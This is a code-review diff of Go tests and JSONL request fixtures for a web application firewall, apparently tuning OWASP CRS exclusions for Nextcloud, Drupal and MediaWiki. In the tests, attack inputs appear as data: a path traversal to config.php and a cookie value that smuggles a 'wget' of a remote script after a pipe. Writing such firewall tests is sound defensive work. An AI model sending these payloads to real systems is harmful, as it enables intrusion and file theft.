func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, value := range hardValues {
|
||||
// A text names the command or file in a sentence that runs ls -la
|
||||
// after a ";", as recorded.
|
||||
text := "Run%20" + value + "%3B%20ls%20-la%20next"
|
||||
|
||||
for request, score := range nextcloudScores(t, value, text) {
|
||||
if score >= nextcloudThreshold {
|
||||
t.Errorf("%s refused: %d", request, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, attack := range []string{
|
||||
sqlInjection,
|
||||
"..%2F..%2Fconfig%2Fconfig.php",
|
||||
scriptInjection,
|
||||
nextcloudCommandAttack,
|
||||
} {
|
||||
for request, score := range nextcloudScores(t, attack, attack) {
|
||||
if score < nextcloudThreshold {
|
||||
t.Errorf("%s let through: %d", request, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
cookie := func(value string) request {
|
||||
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
|
||||
}
|
||||
|
||||
for _, value := range hardValues {
|
||||
name, err := url.QueryUnescape(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
wantResult(t, crs, cookie(name), matched())
|
||||
}
|
||||
|
||||
// A cookie cannot hold a ";", so the command follows a "|" instead.
|
||||
for _, attack := range []string{
|
||||
injection,
|
||||
"../../config/config.php",
|
||||
scriptTag,
|
||||
"x|wget http://example.com/x.sh",
|
||||
} {
|
||||
if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold {
|
||||
t.Errorf("nc_username=%s let through: %+v", attack, got)
|
||||
}
|
||||
}
|
||||
|
||||
got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3"))
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("nc_other=python3 let through: %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, method := range []string{
|
||||
nextcloudPropFind, nextcloudPropPatch, "MKCOL", "COPY", "MOVE", "REPORT",
|
||||
nextcloudSearch,
|
||||
} {
|
||||
for _, target := range []string{
|
||||
nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/",
|
||||
"/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/",
|
||||
} {
|
||||
wantResult(t, crs, request{method, target, nil}, matched())
|
||||
}
|
||||
|
||||
for _, target := range []string{
|
||||
"/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/",
|
||||
} {
|
||||
wantResult(t, crs, request{method, target, nil}, matched(911100))
|
||||
}
|
||||
}
|
||||
|
||||
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
|
||||
}
|
||||
|
||||
func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE"}
|
||||
|
||||
for _, method := range methods {
|
||||
for _, target := range []string{
|
||||
nextcloudFiles + "../../../config/config.php",
|
||||
nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php",
|
||||
} {
|
||||
got := inspect(t, crs, request{method, target, nil})
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s %s let through: %+v", method, target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, refused := range []string{
|
||||
"/?dir=python3",
|
||||
"/apps/other/?dir=python3",
|
||||
"/apps/files/?other=python3",
|
||||
"/login?other=python3",
|
||||
"/x/login?user=python3",
|
||||
nextcloudShare + "?files=powershell",
|
||||
"/?file=powershell",
|
||||
"/?search=python3",
|
||||
nextcloudUsers + "?other=python3",
|
||||
"/x/ocs/v2.php/cloud/users?search=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s let through: %+v", refused, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range []nextcloudBody{
|
||||
// A JSON field of the same name in the query keeps the rules.
|
||||
{
|
||||
http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3",
|
||||
jsonBody, `{"message":"python3"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3",
|
||||
jsonBody, `{"value":"python3"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, nextcloudUsers + "?json.userid=python3",
|
||||
jsonBody, `{"userid":"python3"}`,
|
||||
},
|
||||
// Other JSON fields keep them.
|
||||
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, nextcloudOther},
|
||||
{http.MethodPost, nextcloudSave, jsonBody, nextcloudOther},
|
||||
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, nextcloudOther},
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, nextcloudOther},
|
||||
// XML on another path, or with another method, keeps them.
|
||||
{
|
||||
nextcloudSearch, nextcloudFiles,
|
||||
xmlBody, `<d:literal xmlns:d="DAV:">python3</d:literal>`,
|
||||
},
|
||||
{
|
||||
nextcloudPropPatch, nextcloudFiles + "notes.txt",
|
||||
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
|
||||
},
|
||||
{
|
||||
"REPORT", "/remote.php/dav/comments/files/1/2",
|
||||
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
|
||||
},
|
||||
} {
|
||||
r := request{sent.method, sent.target, []string{sent.contentType}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.body)
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -412,6 +412,11 @@
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"}
|
||||
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
||||
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
|
||||
@@ -565,3 +565,38 @@
|
||||
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
||||
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
||||
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALighthouse+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
|
||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
|
||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 161", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794271545%23fad50a8505bea134cc843d03608984cc; UseDC=master"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes%0D%0APowershell+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 179", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0ALs+-la+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 200", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALs+-la+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0A.htaccess+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
||||
+1317
File diff suppressed because it is too large.
Load diff
Reference in new issue
Block a user